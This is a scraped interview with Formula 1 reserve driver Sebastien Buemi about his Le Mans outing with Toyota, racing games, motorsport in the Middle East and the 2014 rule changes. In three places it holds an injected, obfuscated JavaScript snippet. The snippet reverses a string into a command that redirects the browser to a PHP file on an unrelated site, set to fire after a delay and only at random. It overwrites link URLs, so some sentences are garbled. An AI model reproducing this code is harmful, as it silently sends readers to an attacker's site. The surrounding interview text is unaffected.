We grabbed Red Bull Racing‘s reserve driver Sebastien Buemi for a quick chat during the final of an Infiniti-sponsored virtual racing competition during the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/behind-the-scenes-at-the-abu-dhabi-grand-prix-formula-1/” target=”_blank”>Abu Dhabi Grand Prix weekend. The conversation ranged from Formula 1 and Le Mans to computer games and motorsport in the Middle East, as well as the 2014 F1 rule changes.
As a reserve driver, how busy are you?
This year was really hectic for me because I have a double programme with Toyota and the 24 Hours of Le Mans, as well as all the races for Red Bull, plus marketing events and a lot of simulator work. So I’m pretty busy.
Are you able to tell us what you’ll be up to next year?
I’m still not sure. I’m hoping to be back on the grid and I’m working really hard on it and it looks quite good, but in Formula 1, until you sign everything is possible! But F1 is my only objective.
Tell me more about Le Mans.
When we decided that I would be reserve driver for Red Bull this year, I still wanted to do some races because I’m a racing driver. It was late and difficult find something, but the opportunity with Toyota came up and it was a really big programme. We did a lot of development between January and April and then went to Le Mans and we were going really strong until the accident. We were second and I’m sure we could have been leading the race if we’d finished that stint. It was great to be at Le Mans – I learned a lot of things that can also help me in Formula 1 in terms of fuel saving, looking after the tyres and so on. The cars are very close to Formula 1 – it’s like Formula 1 with a roof.
In F1, everything revolves around you, whereas in sports cars you have two other team mates that share the car with you. How did you find that?
You have to learn, and accept that you can’t just have everything as you would like to. But it was good, because you need to adapt yourself to what you have and even in Formula 1 you have to be quick with what you have in your hands, even if something is not perfect. It was a great experience. The performance was really good and I did a good job during my stint, taking a minute and a half back on the Audis.
If things don’t go the way you hope with F1 next year, would you consider doing more with Toyota?
They’ve been racing more and they’ve continued to develop the car, but had only one car for the rest of the season. Obviously I have a great relationship with Red Bull and if things don’t go as expected we’ll speak and see what can happen. There are a lot of possibilities.
We saw you earlier watching the virtual racers. What’s your experience of racing games?
I did some PlayStation and stuff growing up but now I don’t have time. I still like it – sometimes in the middle of December when I’m home I’ll play PlayStation. It gives you some good ideas, the racing line, fighting spirit and small things that can definitely help you a bit.
Does it help young drivers, the guys coming up in the sport?
I think those kinds of simulations are improving so much that you can learn quite a bit on the circuit. Nowadays you can reproduce the curves quite well, the elevations and the shape of the circuit is quite close to reality. If you’ve never seen the circuit, doing a few laps on the PlayStation is going to help. Maybe not massively, but it’ll still be a plus.
This is almost local ground for you, as you used to live in Bahrain…
Yes, four years ago I spent a year there with my uncle. I had to move out of Switzerland because of the army [$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and” target=”_blank”>national service].
Do you have experience of motorsport on the region then?
I was mostly traveling during that time, but I met some guys at the Federation. They try and do their best and, with what happened last year, it’s definitely not easy. But they try and get people excited about it, they had the World Endurance Championship race two months ago, so they’re definitely try to prove it and having the Grand Prix back will help. But it’s a long process, it’ll take years to get people fanatical about Formula 1.
Motorsport is still very new to the Middle East. What are your thoughts on encouraging people to get into it?
It’s important to broadcast it, which is already done, and then the people have to come to the circuit and just experience it. If they do, I think they’ll like it and come back. If you look at Abu Dhabi it’s been quite a big success, the race is always full of people on the Sunday afternoon. It’s a great sport, we just need to communicate a bit about it and get people to come and see.
The Yas Marina Circuit has had criticism in the past for not being exciting enough for spectators, but what’s it like for a driver?
It’s quite fun. The infrastructure of the circuit is phenomenal; driving under the hotel and the tunnel exiting the pits, those kind of things, we’re not used to. But in the past with the old regulations we didn’t see much overtaking and I think that’s why people did not really like it. Most of the time the conditions don’t help – you don’t expect rain here. But with the double DRS zones you’ll see much more overtaking. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and_Prix” target=”_blank”>Last year [with Toro Rosso] I had a great fight with [Paul] di Resta until we had a problem with the hydraulics.
What do you think of these ‘artificial’ aids such as DRS and tyres designed to go off suddenly?
I think it’s fine because before it was impossible to pass. You had to have a huge advantage to pass, but now if you’re quicker, you can get past, even if you’re only a couple of tenths quicker. In the past you could be one-and-a-half seconds quicker and it was still impossible, so at the end of the day, the DRS is something positive.
We’ve got new rules coming in for to 2014 with new engines, what’s your view on those?
I’m looking forward to trying the car and the engine. I’ve never driven a Formula 1 car with a turbo engine, so it’s going to be good. But we speak a lot about trying to get the costs down and I’m not sure that making an all-new engine will do that. It’s good for technology though, and I’m looking forward to testing it. It’s a new challenge for everyone.
